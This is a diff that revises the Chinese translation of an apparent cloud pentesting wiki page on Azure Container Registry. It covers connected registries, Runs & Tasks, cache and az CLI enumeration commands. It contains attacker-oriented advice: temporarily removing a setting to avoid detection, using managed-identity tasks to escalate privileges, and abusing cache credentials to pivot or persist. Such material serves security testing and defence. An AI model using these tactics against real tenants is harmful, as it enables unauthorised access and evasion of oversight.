+从攻击者的角度来看，在 registry 中执行任何操作**之前**检查这一点很有意义；如有需要，可以暂时移除它，以避免被发现。
 
 ### Connected registries
 
-这基本上允许将一个 registry 中的 **images mirror** 到另一个 registry，通常位于 on-premises。
+这基本上允许将一个 registry 中的 **images 镜像**到另一个 registry，后者通常位于本地环境中。
 
-它有 2 种模式：**ReadOnly** 和 **ReadWrite**。在第一种模式下，images 只会从 source registry **pulled**；在第二种模式下，images 也可以被 **pushed** 到 source registry。
+它有两种模式：**ReadOnly** 和 **ReadWrite**。在第一种模式下，images 只能从源 registry 中被 **pulled**；在第二种模式下，images 还可以被 **pushed** 到源 registry。
 
-为了让 clients 能从 Azure 访问 registry，使用 connected registry 时会生成一个 **token**。
+当使用 connected registry 时，会生成一个 **token**，以便客户端从 Azure 访问该 registry。
 
 ### Runs & Tasks
 
-Runs & Tasks 允许在 Azure 中执行你通常需要在本地或 CI/CD pipeline 中完成的 container 相关操作。例如，你可以在 registry 中 **build, push, and run images**。
+Runs & Tasks 允许在 Azure 中执行与 container 相关的操作，而这些操作通常需要在本地或 CI/CD pipeline 中完成。例如，你可以在 registry 中 **build、push 和运行 images**。
 
-构建并运行 container 最简单的方法是使用常规 Run：
+构建和运行 container 最简单的方式是使用常规的 Run：
 ```bash
 # Build
 echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
 # Run
 az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
 ```
-不过，这会触发一些从 attacker 角度看并不太有趣的 runs，因为它们没有附加任何 managed identity。
+然而，这会触发一些从攻击者角度来看并不太有趣的 runs，因为它们没有附加任何 managed identity。
 
-不过，**tasks** 可以附加 **system 和 user managed identity**。这些 tasks 才是用于在 container 中 **escalate privileges** 的。关于 privileges escalation 章节，可以看到如何使用 tasks 来 escalate privileges。
+不过，**tasks** 可以附加 **system 和 user managed identity**。这些 tasks 才是用于在容器中**提升权限**的对象。在权限提升部分，可以了解如何利用 tasks 来提升权限。
 
 ### Cache
 
-cache 功能允许从 **external repository** 下载 images，并将新版本存储到 registry 中。它要求通过从 Azure Vault 中选择 credentials 来配置一些 **credentials**。
+Cache 功能允许从**外部 repository 下载 images**，并将新版本存储在 registry 中。它要求通过从 Azure Vault 中选择凭据来配置一些**凭据**。
 
-这从 attacker 的角度看非常有趣，因为如果 attacker 拥有足够的权限访问 credentials，就可以 **pivot to an external platform**，**download images from an external repository**，并且配置 cache 也可以用作 **persistence mechanism**。
+从攻击者角度来看，这非常有趣，因为如果攻击者拥有足够的权限访问这些凭据，就可以**转移到外部平台**；**从外部 repository 下载 images**并配置 cache 也可以被用作**持久化机制**。
 
 ## Enumeration
 
 > [!WARNING]
-> 非常重要的一点是，即使 registry 名称包含一些大写字母，访问它时也应只在 url 中使用小写字母。
+> 非常重要的一点是，即使 registry 名称中包含大写字母，也只能在用于访问它的 URL 中使用小写字母。
 ```bash
 # List of all the registries
 # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,19 +143,23 @@ az acr cache list --registry <registry-name>
 # Get cache details
 az acr cache show --name <cache-name> --registry <registry-name>
 ```
-## 未经身份验证的访问
+## 未认证访问
 
 {{#ref}}
 ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
 {{#endref}}
 
-## 权限提升 & Post Exploitation
+## Privilege Escalation & Post Exploitation
 
 {{#ref}}
 ../az-privilege-escalation/az-container-registry-privesc.md
 {{#endref}}
 
-## References
+{{#ref}}
+../az-post-exploitation/az-container-registry-post-exploitation.md
+{{#endref}}
+
+## 参考资料
 
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)